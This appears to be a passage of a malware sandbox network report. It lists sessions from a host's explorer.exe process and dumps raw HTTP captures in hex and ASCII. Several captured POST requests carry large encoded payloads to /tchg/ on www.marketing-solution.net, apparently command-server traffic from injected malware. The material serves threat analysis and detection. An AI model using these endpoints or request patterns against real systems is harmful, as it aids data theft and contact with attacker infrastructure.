May 30, 2023 11:13:01.264862061 CEST	1665	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:27:42 GMT ETag: W/"afe-56ff9440f72fb" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b 9e 96 6a 6b cb 23 d5 a8 80 72 a4 71 d8 58 34 e2 1e a8 e0 6c 8e 04 55 8f cd 5b ed 02 0a 9d 80 79 9e ca 52 c1 ce c5 5a 20 69 2e a0 a1 f1 ca d4 3b 95 29 e9 59 61 6e 5b 47 ae 02 bd 56 15 37 a8 07 ae a6 f8 53 70 b1 23 be 32 47 d0 29 42 83 36 1b 41 e6 d2 83 a5 df d1 d2 af e2 86 b8 29 ee 89 ab a0 32 4f 9d 45 b3 ef b1 a8 4e 1d f9 26 7e 13 db e2 6b b1 79 fd 91 b8 81 66 03 86 ce 8f 4b f1 71 1a 60 a8 98 a1 0f f0 c5 16 52 e6 52 0d ba 10 fb a1 15 92 80 56 15 cc 3d dc 78 d4 27 56 9d c8 fe 17 50 76 74 42 19 c5 48 43 fa 19 29 a0 a9 c9 b7 94 4c f2 6c 61 8f d6 80 58 07 a6 84 04 4a ee 30 8f 01 89 f3 75 1a 91 98 aa 6c ba 5c 15 24 37 d1 5c 48 45 9e d7 f9 2a cc 73 f7 bb f4 6b 65 3f fb 41 aa 40 49 9b 60 06 23 d6 80 46 8d f5 a5 48 68 3e 4e bc 39 12 51 07 f7 33 01 1d cd 69 98 af aa 2b e6 60 3f 96 14 35 b9 29 99 72 d1 68 be 49 24 45 44 b6 4b c4 9e 3e a4 67 54 96 bc 97 d5 51 b2 d0 f4 30 f5 75 2a 35 ba 56 c4 9a d0 b5 e6 02 0a 99 47 5d 34 54 ad ea 2e 6b 7d 42 ce 20 93 7e 52 47 27 15 ad 09 ac 71 a0 13 e1 56 c4 fa d8 86 64 ba e6 21 07 b7 42 32 a0 70 79 6c 24 29 da c0 a3 da 46 17 34 94 cf e7 e3 96 8f 6b b9 47 22 18 25 2b 6c 62 27 3e a3 00 f5 95 93 22 89 49 13 05 59 e2 b1 fb a4 c2 16 74 b8 04 7f 76 52 e3 4f 96 40 ef 78 5a 7b b9 35 ec 61 54 1a f0 18 b0 3d c4 9a 78 da b9 2d d6 c5 96 f8 52 ec 1a c6 00 33 29 42 c3 b6 f1 6e 83 b8 14 23 e6 7b 6d b9 18 08 f1 11 f6 5d f4 36 6c 30 b5 dd 60 d3 1c d4 22 bc 90 88 a6 f2 c0 e8 41 40 9f 19 aa e0 98 d1 4c a6 5b 63 dc 85 6c 3c d9 99 45 23 53 97 47 2b 93 49 8f 60 5e d2 a5 75 c0 a1 9c 8f 3e 83 7c cf 59 0e 7c 9f 2e db 75 4e 4d 57 bf 45 3c ae 71 78 d9 af 4c 46 d1 ab e6 6e 02 28 86 dc 69 38 bd 88 dd f9 48 55 a3 8e 68 bf 43 4e e3 5f 34 5e d7 05 24 1e 89 3b e2 ba d8 ed fc 2b ee 8a c7 e2 05 6c c7 f5 d7 36 e3 4d ba 31 95 3f b4 8f fa 74 81 87 7a dc ed 23 7e 32 ad 1b 44 7c b6 d7 b6 57 b2 ab f8 cf c4 9f be 02 ca f7 7a d5 37 d6 99 ae 81 06 94 74 21 39 dd 29 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r[
May 30, 2023 11:13:01.264940977 CEST	1666	IN	Data Raw: 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 Data Ascii: ,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	49768	91.195.240.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:27.040822983 CEST	343	OUT	POST /tchg/ HTTP/1.1 Host: www.marketing-solution.net Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.marketing-solution.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.marketing-solution.net/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 59 6a 57 74 75 6c 67 6b 50 46 69 4e 52 74 33 54 50 4d 28 54 43 62 75 41 55 4f 56 45 76 6b 31 53 69 36 67 44 30 52 44 4f 42 78 44 70 4a 34 57 5a 6b 6a 69 54 56 56 4b 4d 78 6e 54 5f 30 7a 6b 7a 7e 59 66 32 4e 69 41 70 65 4c 37 44 59 55 46 31 6d 34 48 31 70 32 45 39 4d 47 38 6c 7a 55 49 75 4c 6c 31 48 41 42 59 34 72 50 68 38 56 51 6a 51 73 54 31 6a 36 5f 7a 73 68 48 57 56 58 7a 78 5a 5a 48 6f 55 75 5a 6c 6c 53 68 4f 45 53 71 35 64 47 7a 43 46 7e 4f 4b 44 53 33 56 38 6e 59 48 5a 39 5f 64 42 75 46 47 66 6c 2d 78 67 52 74 44 4c 45 44 34 54 4d 5a 4c 6a 71 72 31 6a 4c 44 71 48 70 37 47 63 78 44 77 6d 42 51 37 33 58 68 7a 35 33 2d 37 79 43 47 47 73 32 47 44 4d 76 6f 69 7a 48 6a 46 6f 78 71 39 63 6c 6b 42 6b 78 43 35 67 4a 56 6b 4d 6a 47 62 55 76 6a 66 6b 32 79 53 68 37 57 33 78 6e 71 28 43 69 32 36 53 61 6a 4c 67 4b 5a 6e 51 38 38 75 50 4e 55 4f 7a 56 4b 30 52 7e 6d 73 44 4c 61 56 75 31 6e 78 59 7e 75 57 73 77 59 28 78 61 42 37 5f 46 68 45 66 6b 4f 73 31 76 74 53 6d 7a 65 38 71 58 38 59 56 51 7a 30 57 64 69 4a 46 52 48 69 53 77 51 56 42 47 78 38 6d 50 6b 4a 65 31 67 6c 68 55 72 72 74 69 66 75 4d 52 4d 74 53 76 66 4c 43 7e 73 4f 74 76 37 59 6c 50 35 41 6e 5a 56 74 72 57 4c 59 6f 57 62 6b 6f 36 76 57 5f 33 50 6e 75 59 54 65 58 52 42 7a 6b 4c 75 50 68 47 70 41 4b 79 5a 38 38 77 59 73 70 48 44 38 66 4f 67 44 30 6b 74 4c 64 35 59 52 4b 4d 61 47 67 49 6b 50 46 70 5a 71 78 39 4a 53 37 41 50 30 4b 4a 70 43 56 30 70 78 4c 52 44 6a 73 5a 61 5a 77 45 62 36 33 7e 54 68 46 37 4a 39 6c 51 45 46 67 43 63 49 5a 48 58 37 53 75 54 32 54 28 4a 33 31 51 48 44 58 5a 4b 62 43 67 44 28 77 73 6c 6e 57 6c 66 43 35 58 36 53 53 71 45 67 51 30 65 74 75 61 73 79 6c 61 36 7a 6a 61 33 28 6b 64 75 75 63 32 64 42 47 6a 6b 56 39 28 66 28 76 72 65 6b 34 76 78 67 59 51 47 68 79 66 38 79 61 32 57 62 6a 71 4d 5a 56 43 69 7a 44 6b 31 51 79 50 6a 4a 78 71 41 46 6d 39 33 49 51 78 4f 63 58 37 57 45 43 36 73 4c 32 56 30 50 66 68 5a 68 53 7e 51 59 50 28 48 77 31 42 5f 69 5a 6d 58 4e 38 6c 46 54 2d 47 33 66 7a 31 37 64 4e 6a 66 68 4b 72 36 77 58 58 45 6b 68 4f 64 79 44 31 5f 41 61 34 35 53 49 31 70 66 78 65 68 64 65 38 52 51 52 54 56 6f 6e 4e 43 48 55 69 55 4b 66 4b 46 4c 38 56 51 56 6a 70 5f 46 57 43 6b 6f 75 43 4a 37 5a 57 66 73 4b 64 72 71 57 6c 65 30 53 74 48 72 6d 43 75 77 7a 38 69 62 59 52 7a 28 2d 54 6e 79 53 34 32 69 56 61 53 44 36 59 61 39 32 4a 49 51 73 32 56 4a 4a 55 64 54 4f 42 6d 4c 71 66 52 7a 75 28 34 32 41 4e 47 69 56 78 75 49 5f 47 48 4d 44 71 4c 79 74 30 74 67 71 49 78 75 6e 4c 4a 6d 39 45 52 65 4d 58 42 63 37 65 59 35 7a 5a 4e 6e 58 47 62 63 48 7e 6b 77 32 59 78 73 48 59 49 4f 70 7e 7a 4d 49 28 4c 42 76 59 5f 52 38 6b 6e 73 50 6e 4f 73 58 56 73 4d 38 6a 62 61 54 34 71 33 44 55 4a 71 78 64 77 4f 67 38 42 73 63 65 63 7a 32 4c 70 36 5f 56 67 41 56 58 4d 37 69 71 47 4f 32 38 49 57 35 56 4c 39 43 54 41 6a 69 73 52 79 52 62 6c 36 6f 55 54 38 71 4c 63 42 62 49 41 73 78 33 59 66 2d 79 59 69 4d 4a 4a 51 68 47 43 6d 47 63 6f 56 45 38 4e 50 68 50 7a 6a 41 74 61 41 46 4e 35 37 30 67 79 46 7a 51 35 44 73 62 39 49 48 52 56 6f 49 6d 71 44 63 37 57 54 38 42 4b 6b 79 4e 46 38 5a 53 4f 6d 4a 43 59 73 44 39 75 5a 57 4e 39 49 6e 46 5f 32 4f 69 78 35 77 6b 7a 5a 30 36 70 6b 44 71 7a 31 6f 66 65 6e 58 33 6f 59 68 79 52 67 37 6b 74 33 4b 66 50 42 54 59 41 45 56 59 55 76 73 49 65 50 31 4b 4a 67 52 63 78 58 50 43 30 72 77 75 4b 61 42 38 76 6b 69 73 6d 4e 6a 76 6b 51 73 42 54 72 73 71 76 47 50 4e 49 5a 35 62 50 54 64 63 68 4f 4a 48 32 7e 51 4f 75 68 6e 42 63 78 64 75 57 59 4d 4c 37 70 4b 39 4b 72 6a 7e 30 35 42 70 66 4e 55 33 45 58 4e 77 6f 74 54 59 32 58 4c 66 75 41 49 71 63 52 70 49 50 66 6c 42 50 37 65 41 39 51 71 7e 49 7a 51 52 6c 76 49 38 41 54 50 47 52 58 79 50 6e 4d 6d 6d 58 36 70 57 48 39 6a 79 6b 51 6a 68 58 5a 75 63 48 4a 57 38 4a 34 37 61 30 56 50 7e 59 52 41 7e 6e 75 78 48 38 76 55 39 41 4a 41 76 79 42 6b 44 44 6f 4b 79 75 66 55 78 49 6f 47 37 67 55 74 50 6e 38 73 41 53 62 41 51 44 5a 4f 58 5a 79 5f 4f 34 38 53 6f 64 31 54 70 46 4f 50 51 53 6f 35 45 45 6b 56 77 30 6a 37 50 44 41 49 56 69 7e 53 7e 76 46 45 6f 36 71 6e 50 36 4c 79 75 4a 36 75 7e Data Ascii: O0qEM=YjWtulgkPFiNRt3TPM(TCbuAUOVEvk1Si6gD0RDOBxDpJ4WZkjiTVVKMxnT_0zkz~Yf2NiApeL7DYUF1m4H1p2E9MG8lzUIuLl1HABY4rPh8VQjQsT1j6_zshHWVXzxZZHoUuZllShOESq5dGzCF~OKDS3V8nYHZ9_dBuFGfl-xgRtDLED4TMZLjqr1jLDqHp7GcxDwmBQ73Xhz53-7yCGGs2GDMvoizHjFoxq9clkBkxC5gJVkMjGbUvjfk2ySh7W3xnq(Ci26SajLgKZnQ88uPNUOzVK0R~msDLaVu1nxY~uWswY(xaB7_FhEfkOs1vtSmze8qX8YVQz0WdiJFRHiSwQVBGx8mPkJe1glhUrrtifuMRMtSvfLC~sOtv7YlP5AnZVtrWLYoWbko6vW_3PnuYTeXRBzkLuPhGpAKyZ88wYspHD8fOgD0ktLd5YRKMaGgIkPFpZqx9JS7AP0KJpCV0pxLRDjsZaZwEb63~ThF7J9lQEFgCcIZHX7SuT2T(J31QHDXZKbCgD(wslnWlfC5X6SSqEgQ0etuasyla6zja3(kduuc2dBGjkV9(f(vrek4vxgYQGhyf8ya2WbjqMZVCizDk1QyPjJxqAFm93IQxOcX7WEC6sL2V0PfhZhS~QYP(Hw1B_iZmXN8lFT-G3fz17dNjfhKr6wXXEkhOdyD1_Aa45SI1pfxehde8RQRTVonNCHUiUKfKFL8VQVjp_FWCkouCJ7ZWfsKdrqWle0StHrmCuwz8ibYRz(-TnyS42iVaSD6Ya92JIQs2VJJUdTOBmLqfRzu(42ANGiVxuI_GHMDqLyt0tgqIxunLJm9EReMXBc7eY5zZNnXGbcH~kw2YxsHYIOp~zMI(LBvY_R8knsPnOsXVsM8jbaT4q3DUJqxdwOg8Bscecz2Lp6_VgAVXM7iqGO28IW5VL9CTAjisRyRbl6oUT8qLcBbIAsx3Yf-yYiMJJQhGCmGcoVE8NPhPzjAtaAFN570gyFzQ5Dsb9IHRVoImqDc7WT8BKkyNF8ZSOmJCYsD9uZWN9InF_2Oix5wkzZ06pkDqz1ofenX3oYhyRg7kt3KfPBTYAEVYUvsIeP1KJgRcxXPC0rwuKaB8vkismNjvkQsBTrsqvGPNIZ5bPTdchOJH2~QOuhnBcxduWYML7pK9Krj~05BpfNU3EXNwotTY2XLfuAIqcRpIPflBP7eA9Qq~IzQRlvI8ATPGRXyPnMmmX6pWH9jykQjhXZucHJW8J47a0VP~YRA~nuxH8vU9AJAvyBkDDoKyufUxIoG7gUtPn8sASbAQDZOXZy_O48Sod1TpFOPQSo5EEkVw0j7PDAIVi~S~vFEo6qnP6LyuJ6u~PenkeC02HyZrzsvzT6MPEAnttsGmPjTBvZpjShkWpPjH7lDUtK0xPqclTJXr_SO9JCwYpy599LLgzsV1-80O9FNa56_bez0N8BPg_0tm9f7RqWvdHLFXFo_KAYBVxZ70j9uHaVEj3QVkoRWA107pcrcCdTaN4odSWrxNoXTpJ0_P_qnG92CgH0TfhLpZWxA6YPVYsgDxfjJ26b_XJpFR0~cQfvKcTkiZAvoqaoMVNdA4zsXsEhkDJSadcjxe4gx6keYQIj73caukVoemefMwouusxqXLSivNoOF(8wC1i~SiZ07fzfWY4nSMKq5YiHykfqxv8JJ9BSQBiBEugZr1agA~i~mfHHk5WJFd7jGhwZFO2A_y58vKM7bbWBTgtBtdTrgiHWY53vnZFCF7_y_D_wC6zDw3eqEN-jkKjN1xxBBMx42D1l_VyMuwYrZROBVibDM51er0teZZb2UXz6ARKlVVWhYbyOYU6jx4CIZZwZLkMjoUmN4h7uDygpJBSRTh9WGb5vPw3HxkOI51xawOUvRY_(NIkiVk9ZDVAWFJEEZv9JGZMUtRrC7VYSZ9NVJbRZP7iKJ291fjbgXaDVBnkMOvhho4D50AMBGiZl2EToraQUeAD0p4dvrhZvlQFUJB7sPKRdeqRHy6SWWTvLKv0KugS9xw9UUm2Ku0iGbM_(fZLpQywX_WIG76MulsGab(rS6ZpjpYTAKo6G4iAU2MEujKpt_TPu3(YYVVTwxpp2yqFL1YJRZAo9FYZi9D9Z-1XzUMD3MdAw5t9TCNdgsMaAqYLuykakVWWN6vxhnXGh-CP8FlHS8YuznOmxjmfZhre74Ol~LCGOiLys30qnvLzRIQff2aC(wG77FqWJYq1mMO_IJColqvU83NNBr2Yru1wA-2DDRPvxF(9XRoDPPHPhw69OQIKxBFGf6hQXNs923HBxiaKGDg59ydb04slG67B1oyOoTUA2_dvgIEIgm5g16fgPTtS5KovMSqBCbjTL7C69oezAiMJ(_unCobjnZ2VHOD30mUHPVTxOh4nIZA-7XCps2WSzlniLkIeBAgrW58iAlMOA0yYpV7e6Q~GAnP8vDy178YLbJ2Nvzsu3r35FaeKVDUJW4Rl5SczxVnYFPIILTo30GSaFHX_divsUUNXXvcvVZukAlRDU61oTLNR(5ZoDYldYNC6LkpnDlX-GJdvl7J42WWnNLdk1JUq2CmNmnU4ZY(1A3UZzE3mfBD4(frjEVx1SFOMdFfdGI1aU5IcY8T-unaeEPDPEF(9JUbSbtaTIR8fxfTjiJ9XHndAQzDynLjo~JFZZdncClLtFMArrixePQDO0fMKClMqGa~PHj~PemLikSpLLaVRMGG2j3Fgt0idt8iJnluVw01eZ9x4swCEZfbaj6zKnM6ieNH0hUTh0lfWcspP1EvSId0qd5roKWKdVpj0pcxgvqw7(C30LSG4Hd04k716(h2p4G4XgfUN~fRwC19H14WhgWxuXCYZDYxsVNKT38HCHztU35uTAX9UAB6D8n9Jm3cXENzs4-KfSFJcMkF0rdmPv7BFQl0TA9IZjn(Ki7LO72qFmNJEyX7PoMX0a9dL7SO8OsD50bWrw_Pr4yKNH65lrMtxRiuoirMEswdLqIGFQS8zbdEmBb7zznuIh7hYztWUZIu2KK4834mm8KeYDDx7MSiKM_oqrRnWea5xTwuQJnwGEfQCXZRnbLbHuoUxpivnNz~vHdhD(KaA7aoWaQDt(WeAwfPTed0rQgtEedUyVVSdKS2oDAvD6tg_KMQw(FSbqHHgUupn4TP-XBB2Nnl62BThVhpHh0PpgUvk8QbNXweNgpcOU7(WK9y_QND04NHvBwSnUyMRwuI1rZhSmXOvy5iJAR41IY(3kfl2reRrnVKkrZ~u4tLoLmCeaU3Q3Bqzv6qw4WH5vhtLMY7HD7QQEwfltIoHf6NIot1VUEU-iaNN9j7MktgEKbwpWT~qvdf9MnntAKEL7fkO8VuRqSYwtf7JHhRIcqqDyvxq6jEzddN8xChJV-44oX19ZEoO1HOsrm2XeohmoEtIDI4CsYpYDoeg~-x0uhxHr_aynYEdLR2yatzqHWKOkTBZGxvdPQLs1gsyIXoEcj9WRpf4pccb2DZyjI5MdAqtPHUaZUTANQGllABAIB6rMbhUs1W0Al34NVR10203Tt54oz~5ttGeiMSpvmbT70bPhLjsM5zsDH7J9nsQwH5yiXjI5-pujXl4vCafipzxvThlomAGImZgeR6bECezjVHYodzQu51u686GngMoN1cwDw0TQKmjdSb7xWKavsIoJ3DR342uS-6mvLHG2MWZHOt7JEtMONu5srCp3nUakGiZRZo7g8cmA6ROxz1jkHQbd1F8Q-dvoYrbPDfXLF8PhQR3kORZUpUYTQRHnyeVIzKeaNWpbU9Xg0z2x5m2X0ymgG7KbtF5xgM-7S2ifnK2rZvD2ZbK6VlZKnx-n7n8(Tzqt9wgsg1mZvbkV7bItFVEk-soumsFTFEGmkVKsH457ejf402RkGVunkrs71UFsE7Xg-HuqaCgey7X~q(hIXc5iSZ3QjW88FIrdOlXnVf6nGQFwXk3NgIGezvhYgymFQzog1VOhxnbtD(SwPmbb4r5~2(98wA5VwFLxN6Ay7NGeAgVeXV6M0NZXJ0s0vDeB2UVpUdLx9ZYPblKCvrAOvR-yInebymzXka40SgIja~vMdWkVRc33N
May 30, 2023 11:08:27.040904999 CEST	350	OUT	Data Raw: 70 32 30 70 45 53 65 36 61 53 36 68 6e 31 50 74 39 61 28 4a 4f 49 73 53 65 77 31 63 31 72 7e 73 59 4b 50 59 58 6e 73 65 70 72 56 77 52 46 5a 6c 39 33 36 79 33 47 4f 67 69 4b 59 31 6c 42 4a 54 54 51 42 68 67 50 49 78 78 51 30 77 55 5a 7e 46 59 5f Data Ascii: p20pESe6aS6hn1Pt9a(JOIsSew1c1r~sYKPYXnseprVwRFZl936y3GOgiKY1lBJTTQBhgPIxxQ0wUZ~FY_(jLRKEx2pYCuV77sTs3aePraSQ5qqYeYyMuSnITHteuqW6ARnPXzpw8fQlhITXLGdw72yd9zxRzBuWYi3IT8zLUCABIy8ntRbMcvkaugzr0Wf3UQ4jgLYocgMxmIlnURuJ9e7hLSs_uos6FpDBGeuGanoC7s2F0QI
May 30, 2023 11:08:27.052150965 CEST	352	OUT	Data Raw: 7e 38 66 75 68 77 51 51 74 51 65 5a 61 6e 6b 6a 6b 34 49 68 41 67 6b 4c 33 4c 37 55 33 7a 31 72 67 30 28 4b 32 71 4d 58 4b 77 32 71 72 5a 76 70 48 4b 71 6f 50 76 55 45 44 30 77 2d 32 51 67 58 54 48 62 6c 67 64 36 33 75 38 55 32 6d 63 78 65 43 31 Data Ascii: ~8fuhwQQtQeZankjk4IhAgkL3L7U3z1rg0(K2qMXKw2qrZvpHKqoPvUED0w-2QgXTHblgd63u8U2mcxeC1cFD6gAOs2gQjvC~QzwLPouhE0P6CDB7rxip3wsuPTAgbWALDPD7rjyLGAfRF5Ac9sWYUtwVcxgTxx1jwRb5rExRAlsNoxeWv3L7azua-N1Y-ByYdOE~Vj0VGKBZGiQx7oMnPj9tuYUPVmaXCJUyptBkYuo5O32vY3
May 30, 2023 11:08:27.052330017 CEST	354	OUT	Data Raw: 4e 56 47 56 67 35 47 4a 37 61 75 47 71 31 31 45 34 4e 43 58 6f 63 70 57 55 75 63 69 53 71 6b 35 42 31 4e 48 76 5f 30 70 78 30 56 58 68 54 48 6b 64 61 53 2d 71 72 52 61 48 6f 72 56 75 4a 64 65 77 5a 56 41 76 47 4d 44 74 76 4a 72 55 49 6c 76 76 4f Data Ascii: NVGVg5GJ7auGq11E4NCXocpWUuciSqk5B1NHv_0px0VXhTHkdaS-qrRaHorVuJdewZVAvGMDtvJrUIlvvO7Qn2iCdKK-TdQBjMEatZa_QOpRPsUmeEnWn4eXK24NrZKYry0FUgXW6irsnw(NMRYyO4LZkooRlUNMN8GSVVzFCLprzlnFCEXcKZZ223O0UR3ZDlF431PyJPAH73BygYxY9XCG1_UY1T(1Skd3mIbAzsx3lYbldW7
May 30, 2023 11:08:27.052493095 CEST	362	OUT	Data Raw: 59 70 74 4b 6c 71 30 47 32 36 63 35 7a 62 48 6e 74 49 7a 53 7a 31 53 75 51 5a 4f 72 65 53 62 67 37 57 49 72 51 47 42 43 7a 35 36 79 42 76 72 49 70 74 79 6d 49 4b 66 6a 36 78 37 57 49 68 53 73 58 69 43 53 77 45 62 78 67 5a 6e 56 64 38 4c 56 6b 69 Data Ascii: YptKlq0G26c5zbHntIzSz1SuQZOreSbg7WIrQGBCz56yBvrIptymIKfj6x7WIhSsXiCSwEbxgZnVd8LVkiZOIJydTIhx3LJaeazrg0KM9ySFrY78ntJkNFe-quTSQXpi1pXJApRaO1nr0LWmq12CfPfFWD7Hv8TtHJL9pX~TQK9UU24M9bhhcgTNlWZ1vAxItJY-Nz1fdC1q86plffyzMaS6qnPmn79HdLpjTTmR~oZhcIt-AqQ
May 30, 2023 11:08:27.052562952 CEST	362	IN	HTTP/1.1 403 Forbidden date: Tue, 30 May 2023 09:08:27 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0
May 30, 2023 11:08:27.052658081 CEST	367	OUT	Data Raw: 4a 47 63 52 5a 35 43 6b 75 34 45 6e 55 6c 67 46 4f 74 6a 6c 31 69 45 78 6e 4a 61 69 53 49 74 6c 4b 33 4a 4b 58 45 75 46 7a 48 63 64 32 77 39 62 28 6d 39 78 67 5a 33 6a 54 61 31 45 4d 43 4b 70 57 76 47 47 61 31 30 39 37 57 28 66 63 36 69 63 4d 51 Data Ascii: JGcRZ5Cku4EnUlgFOtjl1iExnJaiSItlK3JKXEuFzHcd2w9b(m9xgZ3jTa1EMCKpWvGGa1097W(fc6icMQqyIS3rnpBCbahg5CAtTKAAX8nTCgKknfMqm1N4rKRr(_H8MaAK9Cp5ZePFAR2ky2mEhA80N3lDdQPfwdAOby(FzDsXc6g_YCQN3oovtOcD2aiiUteyMDjM2jrAlCKfb_QkcmlMg28nU6EwPn73F0ohKNmmDBIQbnb
May 30, 2023 11:08:27.052826881 CEST	376	OUT	Data Raw: 71 55 33 33 77 4d 6e 42 52 34 36 67 67 44 69 35 7e 71 64 6b 33 43 58 4c 79 6a 6a 34 49 39 4f 49 6e 6a 42 7a 6b 31 79 58 76 6d 35 7a 70 6b 4c 58 30 73 72 69 4f 68 44 57 78 4b 53 4a 61 2d 74 68 28 77 46 35 65 43 53 6f 30 67 42 57 6a 38 45 4d 61 30 Data Ascii: qU33wMnBR46ggDi5~qdk3CXLyjj4I9OInjBzk1yXvm5zpkLX0sriOhDWxKSJa-th(wF5eCSo0gBWj8EMa0kF3zl9yleOo0kbQjEgKN4pd0MlJpw1DHVXOysqHgM9Aiakb5wuO9EGkmGu(2y0XXYKWO57CKQElIwx2xB8(tUcfipVZyRaFlJohDvZPcjDkzNDZeSZj4TialdMgUyUHW5Gjm11dTzV6HglEnZhbuOUkpPR5zFEclf
May 30, 2023 11:08:27.063687086 CEST	379	OUT	Data Raw: 32 77 35 65 69 6a 79 73 59 4d 6d 35 50 57 7a 35 6c 68 49 4c 58 4e 4e 52 47 53 6e 31 6a 30 36 51 34 6b 4d 36 6f 42 52 54 45 35 63 4f 6c 37 72 61 6a 61 56 68 4f 6b 37 75 6b 72 30 62 4f 50 75 4b 39 46 4a 4a 49 59 69 67 37 55 28 66 76 57 64 67 4d 75 Data Ascii: 2w5eijysYMm5PWz5lhILXNNRGSn1j06Q4kM6oBRTE5cOl7rajaVhOk7ukr0bOPuK9FJJIYig7U(fvWdgMuVzTkocKla0cvzNI6qEiO7850Q-jAax6yHzMqVwwegD8QSEBRfWYkBc8KE5xNMWZWyc11OMt9kxnI4ZQXC_Exp25zR2xXhptvvnyi5j~nIIv5g7QtxRRJMbDjQrsTS01Q8888l11Hveu_RjRfurC8Z3qE8rWbB3P81
May 30, 2023 11:08:27.063863993 CEST	390	OUT	Data Raw: 63 71 5a 36 68 62 53 55 66 50 55 69 63 73 35 74 71 62 34 55 42 34 54 66 38 4d 79 47 6e 59 50 67 37 51 4c 42 4b 70 59 55 28 35 39 76 4a 6d 31 6f 56 35 39 6e 34 56 50 38 57 6a 6e 45 44 79 6c 73 4e 41 73 51 6c 6b 75 6a 31 54 79 6d 6a 79 49 38 5a 48 Data Ascii: cqZ6hbSUfPUics5tqb4UB4Tf8MyGnYPg7QLBKpYU(59vJm1oV59n4VP8WjnEDylsNAsQlkuj1TymjyI8ZHZsTZ8jG9pzfGJINdGcSThwwJVP2UT2hRVz2PuOcFLgbpzfFawZeyyfOiaRB-Xr~JkcTYbSrJBtt16xEttNe9ZwoUx699QBUWzYSsYLvJvbBM4lCmpTjJXzsfcKAdwVOB3ZvLBkbBNKq7J6sKustRuqBTTmEcVHBkt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.11.20	49849	183.90.238.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
